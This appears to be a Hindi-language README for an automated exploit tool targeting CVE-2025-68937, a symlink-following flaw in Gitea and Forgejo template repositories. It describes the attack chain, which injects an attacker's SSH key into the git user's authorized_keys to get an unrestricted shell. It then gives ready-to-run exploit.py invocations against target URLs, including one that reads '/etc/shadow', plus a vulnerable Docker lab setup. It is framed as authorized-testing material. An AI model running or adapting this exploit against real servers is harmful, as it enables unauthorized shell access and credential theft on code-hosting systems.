
CVE-2025-68937 के लिए स्वचालित PoC एक्सप्लॉइट — Gitea/Forgejo टेम्पलेट सिमलिंक RCE। कोई भी प्रमाणित उपयोगकर्ता git सेवा उपयोगकर्ता के रूप में शेल प्राप्त कर सकता है।
CVE-2025-68937 के लिए स्वचालित प्रूफ-ऑफ-कॉन्सेप्ट: Gitea और Forgejo टेम्पलेट रिपॉज़िटरी प्रोसेसिंग में सिमलिंक डीरेफरेंसिंग के माध्यम से डायरेक्टरी ट्रैवर्सल, जिसके परिणामस्वरूप रिमोट कोड एक्ज़ीक्यूशन होता है।
कोई भी प्रमाणित उपयोगकर्ता (एडमिन की आवश्यकता नहीं) git सेवा उपयोगकर्ता के रूप में शेल प्राप्त कर सकता है।
जब किसी टेम्पलेट से एक नई रिपॉज़िटरी बनाई जाती है, तो Gitea/Forgejo टेम्पलेट फ़ाइलों की प्रतिलिपि बनाता है और .gitea/template में सूचीबद्ध फ़ाइलों में ${REPO_DESCRIPTION} जैसे वेरिएबल्स का विस्तार करता है। यह प्रक्रिया बिना किसी सत्यापन के सिम्बोलिक लिंक का अनुसरण करती है, जिससे हमलावर को सर्वर पर मनमानी फ़ाइलों को पढ़ने और लिखने की अनुमति मिलती है।
| विवरण | मान |
|---|---|
| CVE | CVE-2025-68937 |
| CVSS 4.0 | 9.5 क्रिटिकल |
| CWE | CWE-61 (UNIX Symbolic Link Following) |
| प्रमाणीकरण आवश्यक | हाँ (कोई भी उपयोगकर्ता) |
| एडमिन आवश्यक | नहीं |
| सॉफ़्टवेयर | प्रभावित | फिक्स्ड |
|---|---|---|
| Gitea | >= 1.11.0-rc1, <= 1.24.6 | 1.24.7 |
| Forgejo | <= 11.0.6 | 11.0.7 |
| Forgejo | >= 12.0.0, <= 13.0.1 | 13.0.2 |
Gitea Server
+---------------------+
1. Register SSH | authorized_keys: |
key with | command="gitea |
${REPO_DESC} | serv..." ssh-ed... |
as comment | ${REPO_DESCRIPTION}|
+---------------------+
|
2. Template repo | symlink
authorized_keys --------->+ follows
-> /data/git/.ssh/ |
authorized_keys |
v
3. Create child +---------------------+
repo with | authorized_keys: |
attacker key | command="gitea |
in description | serv..." ssh-ed... |
| <attacker SSH key> | <-- injected!
+---------------------+
|
4. SSH as git $ ssh -i key git@host
(unrestricted) uid=0(git) ...
${REPO_DESCRIPTION} होता है, जो एक टेम्पलेट वेरिएबल है जिसे Gitea विस्तारित करता हैauthorized_keys को सूचीबद्ध करने वाला .gitea/templateauthorized_keys जो git उपयोगकर्ता की वास्तविक authorized_keys फ़ाइल की ओर इंगित करता हैauthorized_keys फ़ाइल को पढ़ता है (जिसमें टिप्पणी में ${REPO_DESCRIPTION} के साथ हमारी पंजीकृत कुंजी होती है), वेरिएबल को चाइल्ड के विवरण (हमारी SSH कुंजी) में विस्तारित करता है, और परिणाम को सिमलिंक के माध्यम से वापस लिखता हैgit के रूप में SSH करें (कोई command= प्रतिबंध नहीं)pip install requests
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222
# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git
# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"
# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup
एक असुरक्षित इंस्टेंस लॉन्च करें:
docker run -d --name gitea-vuln \
-p 3000:3000 -p 2222:22 \
-e USER_UID=1000 -e USER_GID=1000 \
gitea/gitea:1.24.6
http://localhost:3000 खोलें, इंस्टॉलेशन विज़ार्ड पूरा करें (SQLite ठीक काम करता है)python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222
requestsgit और ssh-keygenयह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। इसका उपयोग केवल उन्हीं सिस्टम्स पर करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेता है।
| फ़्लैग | डिफ़ॉल्ट | विवरण |
|---|
-u, --url | आवश्यक | Gitea/Forgejo बेस URL |
-U, --user | आवश्यक | उपयोगकर्ता नाम |
-P, --password | आवश्यक | पासवर्ड |
--git-home | /data/git | लक्ष्य पर Git उपयोगकर्ता की होम डायरेक्टरी |
--ssh-host | --url से | SSH होस्ट जिससे कनेक्ट करना है |
--ssh-port | 22 | Gitea SSH पोर्ट |
--timeout | 30 | SSH के लिए प्रतीक्षा करने हेतु सेकंड |
--command | इंटरैक्टिव | शेल प्राप्त करने के बाद चलाने के लिए कमांड |
--cleanup | - | एक्सप्लॉइट आर्टिफैक्ट हटाएँ |